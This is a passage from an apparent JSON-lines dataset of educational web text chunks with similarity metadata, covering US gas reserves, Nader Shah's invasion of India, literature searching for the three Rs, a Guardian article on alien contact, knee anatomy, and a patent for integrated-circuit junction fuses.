thousand cubic feet ( $ / mcf ) - below average well - head prices for calendar year 2000. why, then, has u. s. gas production dropped since that quarter - century peak recorded in 1973? the reason is a decline in proved reserves. simply put, additions to u. s. \" proved \" reserves from new discoveries and from more intensive development of identified fields ( field growth ) were insufficient to maintain reserves at levels that sustained production. 2 production from", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.48344412605676457, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.017561"} {"text": "by : mir m. hosseini pursuing the afghan invaders, in 1738, nader shah conquered kandahar, the last outpost of the hotaki dynasty. his thoughts now turned to the mughal empire of india for nurturing hotaki fugitives. nader shah ' s conquest of india began with the battle of karnal which was a decisive victory for the iranian army. nader shah defeated the army of mohammad shah on feb, 13, 1739. the mughal emperor lost the battle in little more than three hours thus paving the way for the persians to conquer delhi. the battle took place at karnal, 110 kilometers north of delhi, india. the mughals main advantage was their war elephants therefore nader khan used fire and sharp - shooters to blind the elephants which fled causing mayhem in their own camp. the size of the indian army was twice that of nader shah ' s but nader was a genius in war tactics. thus, mughal forces began to disintegrate as they proved incapable of responding to persian attacks on their lines. after their general saadat khan was taken captive, mughals started to loot their own camp while the persian cavalry was inflicting great damages on loyal soldiers until the mughal emperor was captured by the persians. delhi surrendered and nader shah entered the city on norooz day on march, 21, 1739. nader spared the life of mohammad shah and the civilians although he was ruthless on remaining hotaki bandits. his soldiers brought back some of treasures that was plundered during the hotaki invasion including the peacock throne, jewels, and precious persian artworks such as miremad calligraphy. nader shah restore mohammad shah to his throne and left india soon after.", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.4053238021653546, "token_count": 349, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.026595"} {"text": "conducting a search this section focuses on performing a literature search on bibliographic databases. however, the general principles, and the list of search terms relating to the three rs can also be applied to searches on internet search engines. it includes information on planning a search, designing a search strategy, defining search terms ( including examples of subject - specific terms ) and how to report your search. planning a search it is essential that a literature search is an integral first step in planning any research programme. scientists should critically review previous literature in order to - check if their proposed research is novel - determine how previous similar studies were conducted - find the severity of the procedures - identify all feasible methods of testing the hypotheses in the planned programme a helpful guide is given in the frame strategic planning poster, which is available in several languages. in recent years, carrying out a systematic review of animal - related research has been advocated as a robust method of conducting such literature searches. a systematic review ( sr ) is a literature review focused on a single question that tries to identify, appraise, select and synthesise all available high quality research evidence relevant to the question. many of the principles are the same for a systematic or more traditional literature review, and should result in direct implementation of the three rs. a robust literature search can reveal gaps in knowledge, and identify which model will give the best answer to the research question, including whether use of animals is absolutely necessary ( replacement ). it can highlight less invasive techniques and those with more humane endpoints ( refinement ). it can also help to identify effective experimental designs, and prevent unnecessary duplication of animal experiments ( reduction ). leenaars et al ( 2011 ) provide a useful overview of the five basic steps that need to be addressed when planning a comprehensive search : 1. formulate a focused research question 2. identify appropriate databases and sources of studies 3. transform the research question into a search strategy 4. collect search results and remove duplicates 5. identify potentially relevant papers for further details see their paper. ( click here ) designing a search strategy and defining search terms once you have formulated your research question and identified appropriate databases, you will need to design a search strategy to address it. designing a search strategy for a specific database can be complex and depends on specific search terms, the search capabilities of the database and the indexing system it uses. it may be necessary to take a specific course in the use of the major electronic bibliographic databases, which may be available at an institution \u2019 s", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4929116710032382, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.041624"} {"text": "on specific search terms, the search capabilities of the database and the indexing system it uses. it may be necessary to take a specific course in the use of the major electronic bibliographic databases, which may be available at an institution \u2019 s library or to involve a specialist from the library for advice when developing a comprehensive search strategy. leenaars et al ( 2011 ) provide a comprehensive breakdown of how to transform a research question into a search strategy for pubmed, which is a very good introduction for this database. ( click here ) the following are general considerations when designing a search strategy. initially, it is necessary to define search terms specific to the field of study and the research topic. how to identify these is described below. the terms then need to be combined into a search filter using boolean or other operators ( see search basics ). the use of parentheses and operators makes it possible to construct very long and complicated search filters, which include the whole of the desired search. however, on systems which permit storage and subsequent recall of individual search sets, it is better to do the search in a number of steps, each dealing with one concept, and then to combine the retrieved sets in various ways. this makes it easier to go back and adapt individual filters if necessary. always make notes on which combinations of which sets are being used at each stage, because if the search ends up including many steps it is sometimes quite difficult to remember exactly what was done earlier, and to identify which sets to use again in order to refine the search. it is also useful to copy and save the search filters that you have designed for use in future search strategies and for reporting your search ( see reporting searches below ). if the first search retrieves too many documents, of which many are irrelevant, it will be necessary to make the search filter more precise. do this by using narrower terms, for example searching on \" rats \" instead of \" rodents \". another trick is to limit your search to the title field, if that is permitted. if, the first attempt retrieves very few documents, some of the very specific parts of the search profile should be removed and / or broader search terms should be used. it may be possible to explode a search. see example by clicking here. having performed the subject - specific search, most scientists will want to obtain full copies of documents that appear relevant and go through them to see if the hypothesis is valid, and if the proposed study is justified. this is a good opportunity to make notes of anything that might be", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5280823080550272, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.047364"} {"text": "- specific search, most scientists will want to obtain full copies of documents that appear relevant and go through them to see if the hypothesis is valid, and if the proposed study is justified. this is a good opportunity to make notes of anything that might be relevant to the three rs, for example ; - are there any references to in vitro studies? - has any work been done on less evolved species? - has a particular strain of animal been shown to be more sensitive to the effects that will be studied? if yes, it may be possible to obtain statistically meaningful results using fewer animals than if a less sensitive strain was used. - any anaesthetics and analgesics used in the studies should be noted. it may be advisable to perform a further search on the effects of these compounds, because some may cause physiological changes which will have a confounding effect on the results, while others may result in fewer adverse effects. - are there any statistical models that have been developed for use in this type of study and will these affect the design of the experiments? - is there any mention of possible refinements such as the use of less invasive procedures, different methods of handling the animals or attempts to provide environmental enrichment? if any of the papers are found to be irrelevant, note down the criteria used to exclude them and how many papers were excluded under each criterion. either as part of this first analysis, or after its completion, a second search should be carried out to investigate further possibilities for replacement, reduction and refinement. the three rs cover a very broad set of concepts. a useful, but not exhaustive, list of words relating to the three rs can be found here. as before, it is necessary to consider using synonyms, acronyms, spelling variants and truncation. at this stage, it may be useful to limit each search filter to subject - specific keywords expressing only one concept, and use some broader terms to extend the search into other disciplines. for the same reason, it is useful to try a search in other databases. as noted above, at all stages retrieval of relevant documents will be influenced by the indexing systems of the different databases and the extent to which the search is tailored towards those systems. some database hosts such as proquest dialog ( requires athens or institutional login ) permit a simultaneous search to be carried out across multiple databases. this can save a lot of time, but it is impossible to optimise the search strategy to the indexing system of each individual database.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5120213693370207, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.048690"} {"text": "would be useful at this stage to go into one or two databases and retrieve the full records for some of these core papers. this can easily be done by searching on appropriate words from the title and author names in the title and author fields, and / or searching by date in the year field. the full records will show the words that have been used to index the articles for the databases. they may help to identify further keywords. if many of the core papers cannot be retrieved from a database, this will serve as an alert that it might not be very useful for the planned search. the indexing thesaurus should ideally be consulted, in order to obtain the preferred terms or indexing codes and also narrower and / or broader terms / codes for these concepts. otherwise, attention once again has to be given to broader and narrower descriptions, possible synonyms, use of both singular and plural, likely usefulness of truncation and possible variations in spelling, as discussed in the search basics section. hoojimans et al ( 2010 ) and de vries et al ( 2011 ) have created search filters for finding all animal studies in pubmed or embase. you can copy and paste the relevant filter into your search in addition to your subject - specific terms. here for the pubmed version. to demonstrate the systematic and robust nature of your search it is important to report / publish your search strategy whenever possible ( this might be as a supplement to your scientific paper ). this will facilitate dissemination of three rs information and aid other researchers to search effectively. leenaars et al ( 2011 ) provide a good example of a diagrammatic way to present the main search results including exclusion criteria. you should also try to include your search filter. as a general rule when reporting the search you should include : 1. all databases and other sources searched 2. the dates of the last search for each database and the period searched 3. full search strategies ( including all search terms / filters ) 4. any language or publication status restrictions used 5. exclusion criteria whether publishing the search strategy or not, it is important to save this information for your own future use.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5230785693464777, "token_count": 431, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.050682"} {"text": "summary of influences and responses that shape the character of the built environment flat landforms with gently rolling hills. hot, humid summers. rapidly changing weather with thunderstorms, hurricanes, and humidity, intense summer sun, and presence of insects, such as termites, that quickly decay building materials. dense vegetation with a high canopy of trees. forests of pine with hardwoods in drainages. plants that grow quickly. sandy coastal soils. rivers that take the form of slow - running estuaries with dark waters. many marshes, swamps, and other wetlands. abundant wildlife, from insects to alligators. figure of coastal - low wetlands with pine oak and hemlock figures of coastal pine forests and lower piedmont with hardwood live oak and pines. settled by europeans for 400 years ; has deep historical roots. developed and altered landscape bisected by roads ; no forest lands are more than a few miles from a road, and all are within a short drive of urban areas. made up of an unconsolidated patchwork of private and public lands and forest lands. contains a rich architectural history that includes huts, slave cabins, and smokehouses as well as grand lodges and the estates and plantations of the aristocracy. provides timber building material. draws tourists to historic, as well as provides water for boating, fishing, and figures of culturally influenced buildings such as french creole cottage", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.46610797458402387, "token_count": 273, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.052078"} {"text": "sweden, russia and the great northern war, to 1740 \u2013 failure and a new age of liberty in sweden war in 18th century europe to 1763 \u2013 conflict over what monarch rules where frederick, maria and catherine \u2013 three monarchs in the age of enlightenment britain in the mid - 1700s \u2013 progress in education, commerce and law the american revolution \u2013 1707 to 1791, from social change to ratification of the constitution first barbary war \u2013 u. s. policies from 1770s to 1805, and marines to the shores of tripoli the french in the mid - 1700s \u2013 monarchy, church, class, economy the french revolution \u2013 france in the 1700s britain, ireland, the u. s. and the war of 1812 \u2013 england, its irish colony and war with france and the u. s. haiti, 1789 to 1806 \u2013 independence from french rule, freedom from slavery and continuing violence. napoleon ' s wars, mistakes and fall \u2013 napoleon recklessly drives france to defeat. conservative order against change : 1814 - 40 \u2013 victors in europe oppose revolution latin america after independence : 1821 - 30 \u2013 disappointments in south america and mexico reform and revolution in europe to 1850 \u2013 revolutionary uprisings across europe and reforms muslims in the middle east, 1700 to 1837 \u2013 iran and the ottoman empire. africa, empires and slavery, 1801 - 60 \u2013 guns, war, arabs, ottomans, british, boers and french canada and the united states, 1814 to 1846 \u2013 migrations, economic developments and slavery war beween the u. s. and mexico \u2013 texas and the alamo. mexico to 1855. the u. s. to california civil war in the united states \u2013 different societies, panic in the south and the war from 1861 to 1865 the actual billy the kid \u2013 not the fictitious punk \" gunfighter. \" the united states, 1865 to 1900 \u2013 reconstruction, westward expansion and economic development canada, 1850 to 1900 \u2013 to be completed in november or december, 2011 japan from tokugawa to meiji \u2013 restoration of the emperor, economic progress and japanese imperialism british imperialism and asia \u2013 china, india, afghanistan, burma, the crimean and opium wars empire and oceania \u2013 the british, french and germans ; maori, new zealand, australia more imperialism, to 1900 \u2013 jamaica, afghanistan again, the suez and africa south of the sahara the crimean war, 1853 to 1856 \u2013 the british, french and turks against holy russia imperial russia, 1856 to 1894 \u2013 tsars, student revolutionaries and bomb throwers nationalism and empire within europe, 1850 - 1900 \u2013 setting the stage for the great war of", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.43439802297558744, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.054879"} {"text": "what say you all to this? earth must prepare for close encounter with aliens, say scientistsun should co - ordinate plans for dealing with extraterrestrials \u2013 and we can ' t guarantee that aliens will be friendly an alien from mars attacks! evolution on alien worlds is likely to be darwinian, which may mean extraterrestrials share our tendencies for violence and exploitation. photograph : rex world governments should prepare a co - ordinated action plan in case earth is contacted by aliens, according to scientists. scientists argue that a branch of the un must be given responsibility for \" supra - earth affairs \" and formulate a plan for how to deal with extraterrestrials, should they appear. the comments are part of an extraterrestrial - themed edition of the philosophical transactions of the royal society a published today. in it, scientists examine all aspects of the search for extraterrestrial life, from astronomy and biology to the political and religious fallout that would result from alien contact. \" will a suitable process based on expert advice from proper and responsible scientists arise at all, or will interests of power and opportunism more probably set the scene? \" asked professor john zarnecki of the open university and dr martin dominik of the university of st andrews in the introductory paper. \" a lack of co - ordination can be avoided by creating an overarching framework in a truly global effort governed by an international politically legitimated body. \" the pair argue that the un has a ready - made mechanism for such a forum in its committee on the peaceful uses of outer space ( copuos ). member states of copuos should put \" supra - earth affairs \" on their agenda, say the scientists, and establish structures similar to those proposed for dealing with threats from near - earth objects, such as asteroids, that might be on a collision course with our planet. according to simon conway morris, a professor of evolutionary palaeobiology at cambridge university, anyone planning for alien contact should prepare for the worst. evolution on alien worlds, he said, is likely to be darwinian in nature. morris argues that life anywhere else in the universe will therefore probably have important similarities with life on earth \u2013 especially if it comes from earth - like worlds that have similar biological molecules to ours. that means et might resemble us, warts and all, with our tendencies towards violence and exploitation. \" why should we ' prepare for the worst '? first, if intelligent aliens exist, they will look", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.504362950794276, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.059980"} {"text": "worlds that have similar biological molecules to ours. that means et might resemble us, warts and all, with our tendencies towards violence and exploitation. \" why should we ' prepare for the worst '? first, if intelligent aliens exist, they will look just like us, and given our far from glorious history, this should give us pause for thought, \" wrote morris in the journal ' s special issue. ted peters, a professor of systematic theology at the pacific lutheran theological seminary in california, considered what might happen to the world ' s religions in the event of et making contact. conventional wisdom suggests that terrestrial religion would collapse if the existence of extraterrestrial intelligence ( eti ) were confirmed, he wrote. \" because our religious traditions formulated their key beliefs within an ancient world view now out of date, would shocking new knowledge dislodge our pre - modern dogmas? are religious believers earth - centric, so that contact with et would de - centre and marginalise our sense of self - importance? do our traditional religions rank us human beings on top of life ' s hierarchy, so if we meet eti who are smarter than us will we lose our superior rank? if we are created in god ' s image, as the biblical traditions teach, will we have to share that divine image with our new neighbours? \" his conclusion, however, is that faith in earth ' s major religions would survive intact. \" theologians will not find themselves out of a job. in fact, theologians might relish the new challenges to reformulate classical religious commitments in light of the new and wider vision of god ' s creation. \" \" traditional theologians must then become astrotheologians... what i forecast is this : contact with extraterrestrial intelligence will expand the existing religious vision that all of creation \u2013 including the 13. 7bn - year history of the universe replete with all of god ' s creatures \u2013 is the gift of a loving and gracious god, \" he speculated. http : / / www. guardian. co. uk / science / 2011 / jan / 10 / earth - close - encounter - aliens - extraterrestrials", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5193567388865756, "token_count": 436, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.060807"} {"text": "understanding how the knee works a joint is formed by two or more bones that are connected by thick bands of tissue called ligaments. the knee is the largest joint in the body and is made up of three main parts : - the lower end of the thigh bone, or femur. - the upper end of the shin bone, or tibia. - the kneecap, or patella. the thigh bone ( femur ) turns on the upper end of the shin bone ( tibia ), and the kneecap ( patella ) slides in a groove on the end of the thigh bone. ligaments, which are bands of tissue, connect the thigh bone and the shin bone to help keep the knee joint steady. the quadriceps, the long muscles on the front of the thigh, help strengthen the knee. a smooth substance called articular cartilage covers the surface of the bones where they touch each other within the joint. this articular cartilage acts as a cushion between the bones. the rest of the surfaces of the knee joint are covered by a thin, smooth tissue liner called synovial membrane, which makes a small amount of fluid that acts as a lubricant so that the joint bones will not rub against each other. what causes knee pain? one of the most common causes of knee pain and loss of mobility is the wearing away of the joint \u2019 s cartilage lining. when this happens, the bones rub against each other, causing significant pain and swelling. the most common cause is a condition known as osteoarthritis. trauma or direct injury to the knee can also cause osteoarthritis. without cartilage there is no shock absorption between the bones in the joint, which allows stress to build up in the bones and contributes to pain. your treatment options for knee pain you may be able to get pain relief from treatments like steroidal and nonsteroidal anti - inflammatory drugs, physical therapy, bracing, and cortisone injections. but, if you \u2019 ve tried these methods and haven \u2019 t experienced adequate relief, you don \u2019 t have to live with severe knee pain and the limitations it puts on your activities. knee replacement surgery may provide the pain relief you long for and enable you to return to the things you enjoy doing. remember, even if your doctor recommends knee replacement for you, it is still up to you to make the final decision. the ultimate goal is for you to be as comfortable as possible with your choice \u2014 and that always", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.46534053797891733, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.066014"} {"text": "us 5969403 a a fuse for an integrated circuit is constituted by a shallow np junction, covered with a metal contact, the semiconductor region being not excessively doped. for the blowing of the fuse, the junction is forward biased with a current sufficient to enable a diffusion of metal up to the junction. this short - circuits the junction. the detection is done also by the forward biasing of the junction, but with a low current or a low voltage. the detection can also be done with reverse biasing. 1. a physical fuse circuit with a low blow - out voltage and a low blow - out current density for integrated circuits formed in a semiconductor substrate, including a circuit for blowing the fuse, comprising : a shallow, doped first semiconductor region having a first conductivity type, diffused in a second semiconductor region having a second conductivity type that is opposite to the first conductivity type ; and a diffusion metal layer formed in direct contact with the doped first semiconductor region ; wherein the first semiconductor region has a depth of about 0. 2 microns, and a voltage of about 3 - 5 volts across the fuse produces a blow - out current with a current density substantially one milliampere per square micrometer at the diffusion metal layer. 2. the fuse according to claim 1, wherein the second semiconductor region is a well formed in the semiconductor substrate in which the integrated circuit is formed, the semiconductor substrate having a conductivity type opposite that of the second semiconductor region. 3. the fuse according to claim 1, wherein the diffusion metal layer is an aluminum layer. 4. the fuse circuit according to claim 1, wherein the doped region has a doping substantially in the range of 10. sup. 18 - 10. sup. 20 atoms per cm. sup. 3. 5. the fuse according to claim 1, including a circuit for reading a fuse state, further comprising : means for applying a low - value reading current to the fuse in a direction to forward bias a junction between the doped first semiconductor region and the second semiconductor region. 6. the fuse circuit according to claim 1, including a circuit for reading a fuse state, further comprising : a threshold comparator having a threshold substantially equal to 0. 3 volts, and producing an output signal indicative of whether a drop in voltage across the terminals of the fuse is greater than or less than the threshold. 7. the fuse according to claim 1, including a circuit for reading a fuse state, further comprising : means for applying a low", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5444592886467418, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.090486"} {"text": "output signal indicative of whether a drop in voltage across the terminals of the fuse is greater than or less than the threshold. 7. the fuse according to claim 1, including a circuit for reading a fuse state, further comprising : means for applying a low bias voltage to the fuse in a direction to forward bias a junction between the doped first semiconductor region and the second semiconductor region ; and means to convert a current through the fuse into a voltage. 8. the fuse circuit of claim 7, wherein the means to convert further comprises : a current mirror connected to mirror into an output branch the current ; and a resistor in the output branch. 9. the fuse according to claim 1, including a circuit for blowing the fuse, further comprising : means for applying a blow - out current to the fuse in a direction in which a junction between the doped first semiconductor region and the second semiconductor region is forward biased. 10. the fuse and circuit of claim 1, further comprising : means for applying the blow - out current for several seconds. 11. the fuse of claim 1 including a circuit for blowing the fuse and further including a circuit for reading the fuse, further comprising : means for applying a blow - out current to the fuse in a direction in which a junction between the doped first semiconductor region and the second semiconductor region is forward biased ; and means for applying a low - value reading current to the fuse in a direction in which the junction is reverse biased. 12. the fuse and circuits of claim 11, further comprising : a threshold comparator whose input is connected to a first contact of the fuse, which further has a second contact connected to ground. 13. a physical fuse with a low blow - out voltage of about 3 - 5 volts and a low blow - out current density of substantially one miliampere per square micrometer, formed in semiconductor substrate of an integrated circuit, comprising : a junction formed of a shallow region of a depth of about 0. 2 microns and of a first conductivity type in contact with a region of a second conductivity type ; and a diffusion metal layer disposed in direct contact with the shallow region, the metal selected to diffuse readily through the shallow region when a blow - out current passes through the metal. 14. the fuse of claim 13, wherein the semiconductor substrate is silicon. 15. the fuse of claim 13, in which the region of a second conductivity type is a well in which the shallow region is formed by diffusing a dopant therein. 16. the fuse according", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5335575446212626, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.091536"} {"text": "the semiconductor substrate is silicon. 15. the fuse of claim 13, in which the region of a second conductivity type is a well in which the shallow region is formed by diffusing a dopant therein. 16. the fuse according to claim 1, further comprising a circuit for blowing the fuse comprising means for applying across the fuse a low forward bias that is the voltage of about 3 - 5 volts. 17. the fuse according to claim 1, wherein current through a fuse that is blown flows substantially through semiconductor regions of a single type. 18. the fuse according to claim 1, wherein the semiconductor substrate is silicon. 19. the fuse of claim 13, wherein the blow - out current has a blow - out current density of about 1 ma / \u03bcm. sup. 2. 20. the fuse of claim 13, further comprising a circuit for blowing the fuse by inducing a current density where the metal layer contacts the first region causing the metal to diffuse into the first region and thereby short - circuiting the junction. 21. the fuse of claim 20, wherein the metal is aluminum. 22. the fuse according to claim 13, further comprising a circuit for blowing the fuse comprising means for applying across the fuse a low forward bias that is substantially less than about 10 volts. 23. the fuse of claim 19, wherein the shallow region has a depth of about 0. 2 microns, and the fuse has a blow - out voltage of about 3 - 5 volts. 24. the fuse of claim 13, wherein the shallow region has a doping substantially in a range of 10. sup. 18 - 10. sup. 20 atoms per cm. sup. 3. this application is a continuation of application ser. no. 08 / 345, 117, filed nov. 28, 1994, now abandoned. 1. field of the invention the invention relates to integrated circuits and, more specifically, it relates to the making of irreversible locking elements that can be used to permanently modify the functions of certain parts of the circuit or access to these parts. the standard term \" fuse \" shall be used hereinafter to designate these locking elements, it being understood nevertheless that this is a figure of speech referring to a function and that the structure of these elements does not necessarily implement a physical fusing operation. 2. discussion of the related art a common application of fuses in the field of integrated circuits relates to chip cards : it is often sought to prohibit access to memory zones or to certain functions, the prohibition", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5567112885699951, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.092577"} {"text": "not necessarily implement a physical fusing operation. 2. discussion of the related art a common application of fuses in the field of integrated circuits relates to chip cards : it is often sought to prohibit access to memory zones or to certain functions, the prohibition being applied progressively as these cards go through the stages of being manufactured and marketed. a typical example is the following one : the card manufactured by a card manufacturer must initially have all its points of access authorized and all its functions authorized if only for testing purposes. then, certain confidential data elements have to be made inaccessible : for example, the card manufacturer does not wish the programs of the operating system ( which are in the read - only memory in the chip ) to be accessible in read mode. one or more fuses are blown to prohibit this hitherto possible reading operation. the card may then be delivered, for example to a provider of a service ( a bank, telephone company, etc. ). the provider of the service will place other programs and confidential data in the card ( in a programmable memory ), and may wish to physically prohibit read and write access to these programs and data elements. other fuses could be blown at this point in time. fuses presently used in this type of application include, for example : polycrystalline silicon fuses in which a breakdown current is applied to a very thin layer of polycrystalline silicon, which gets heated and evaporates, opening the circuit in which it is placed. this type of fuse has problems of reliability related to poor evaporation and the risk that the conductor will be reconstituted over a period of time. oxide breakdown eeprom type electrically programmable memory cells in which the blank state of the cell is likened to an intact state of the fuse and the programmed state is likened to a blown state. this type of lock is very reliable if an external programming voltage of sufficient energy is used, but it is far less reliable if the voltage used is a voltage internal to the integrated circuit chip. the use of an external voltage has several drawbacks. for example, greater cost due to an additional supply terminal, which is also troublesome for the user who has to plan for this voltage. furthermore, the breakdown occurs through the application of a series of voltage pulses, but if the breakdown is not successful at the first attempt it becomes progressively more difficult ; blank eeprom memory cells with a zener diode on source or drain, which can be erased once but never again reprogrammed. a", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5866504413838571, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.093651"} {"text": "pulses, but if the breakdown is not successful at the first attempt it becomes progressively more difficult ; blank eeprom memory cells with a zener diode on source or drain, which can be erased once but never again reprogrammed. a high voltage is necessary for breakdown with the conventional drawbacks that this entails. the drawbacks include the need for an external voltage with a specific access pad or an internal voltage, but an internal voltage is less reliable and requires providing a voltage pull - up circuit on the chip. one general aim of the invention is to provide a particularly simple type of fuse that can work at very low voltage. other aims of the invention will become apparent upon reading the following description. according to the invention, it is proposed to make a fuse by means of a very shallow np semiconductor junction coated with metal that is capable, when it gets heated, of being diffused in the semiconductor until the junction is short - circuited. the state of the junction can then be detected by a simple detection circuit. the invention may include a shallow, doped semiconductor region ( for example, about some tenths of a micrometer ) diffused in a semiconductor region having an opposite type of conductivity and a metal contact formed on the doped region, the metal of the contact being capable of getting diffused throughout the depth of the doped region in the presence of a sufficient density of blow - out current applied between the contact and the region of an opposite type. the semiconductor region of an opposite type could be the semiconductor substrate in which the integrated circuit is formed. but it is simple to provide a structure where the semconductor region of an opposite type is a well diffused in a substrate with a type of conductivity opposite to that of the substrate. the contact metal may be aluminium. the current density that must be applied to obtain sufficient heating and this sufficient diffusion of the metal towards the junction may be approximately 1 millampere per square micrometer of contact surface, for example. the period of application of the current may reach some seconds. in the case of standard mos technology integrated circuits with transistors formed by implantation of source and drain self - aligned by a gate, the shallow doped region may be a region formed simultaneously with these source and drain implantations. the doping may be, for example, of the order of 10. sup. 18 to approximately 10. sup. 20 atoms / cm. sup. 3. in cmos ( complementary mos ) technology, comprising n", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5595898377955446, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.094683"} {"text": "implantations. the doping may be, for example, of the order of 10. sup. 18 to approximately 10. sup. 20 atoms / cm. sup. 3. in cmos ( complementary mos ) technology, comprising n channel transistors formed in the p - type substrate and p channel transistors formed in n type wells, the shallow doped region may be made by means of an implantation identical to a source or drain of a p channel transistor in an n type well. a detection circuit may be used to detect the state of the fuse. this detection circuit may have means for the forward biasing of the junction between the diffused region and the region of an opposite type. the biasing means may be a voltage biasing consisting of the application of a low voltage, for example on the order of tenths of volts or current biasing means consisting of the application of a low current, for example on the order of microamperes. if a current bias is used, the detection may include examining the voltage generated at the terminals of the fuse. a threshold comparator may be used to determine whether the voltage present between the metal contact and the opposite type of semiconductor region is a forward biased np junction voltage ( i. e. representative of an intact junction ) or a drop in voltage at the terminals of a low - value resistor ( i. e. representative of a junction short - circuited by the metal ). in practice, the threshold of the comparator may be in a range between about 0. 2 to 0. 3 volts and about 0. 5 to 0. 6 volts, an appropriate value for the threshold is about 0. 3 volts. the threshold value may be produced by a forward biased and non - fused diode. if, however, the biasing used is a voltage biasing, the current flowing in the fuse may be detected and compared with a threshold value. for example, a current mirror may be provided to detect the current of the fuse and carry it into a resistor so as to create, at the terminals of this resistor, a voltage drop representing the current that flows through the fuse. the voltage drop thus created therefore represents the state of the fuse. an appropriate choice of the conversion ratio of the current mirror and of the value of the resistor will make it possible to select a value of voltage appearing at the terminals of the resistor that, in a binary manner, represents the fused or non - fused state of", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5545103756030445, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.096572"} {"text": "of the conversion ratio of the current mirror and of the value of the resistor will make it possible to select a value of voltage appearing at the terminals of the resistor that, in a binary manner, represents the fused or non - fused state of the fuse. in accordance with one feature of a fuse according to the invention, the fuse is blown by the application of a forward biasing current of the junction. however, it may also be desired to read the fuse state by subjecting it to forward biasing. reading the fuse state using a forward bias may be accomplished by : either a comparator with a very low threshold capable of distinguishing between an intact fuse exhibiting a voltage drop of 0. 6 to 0. 7 volts and a blown fuse exhibiting a voltage drop of 0. 1 to 0. 2 volts ; or another system of precise detection capable of identifying a difference between the current flowing through a forward biased junction and the current flowing through a junction short - circuited by diffusion of aluminum. it is also possible to read the state of the fuse by reverse biasing the junction between the shallow doped region and the well in which it is formed. the reading and blowing circuitry is more complex but the difference between the blown state of the fuse ( i. e. a short - circuited junction ) and the non - blown state ( i. e. a reverse biased junction ) is easier to detect. other features and advantages of the invention shall appear from the following detailed description, made with reference to the appended drawings, of which : fig. 1 shows a cross - section of the fuse according to the invention ; fig. 2 shows a schematic drawing of the fuse blowing control and fuse state reading circuit, fig. 3 shows another schematic drawing of the blowing and detection circuit ; fig. 4 shows an alternative schematic drawing illustrating reading of a reverse biased junction. the fuse according to one aspect of the invention therefore essentially has a shallow pn semiconductor junction covered with metal. the metal is capable of diffusing into the junction in response to a rise in temperature, to the extent of short - circuiting the junction. the junction is forward - biased during the blowing of the fuse as well as during reading of the state of the fuse. in the exemplary embodiment of fig. 1, the junction is formed by a semiconductor region 12 of the p + type formed in an n type well 11, itself formed in a p - type of semiconductor substrate 10. the types of conductivity could furthermore", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5649363880819525, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.097774"} {"text": "exemplary embodiment of fig. 1, the junction is formed by a semiconductor region 12 of the p + type formed in an n type well 11, itself formed in a p - type of semiconductor substrate 10. the types of conductivity could furthermore 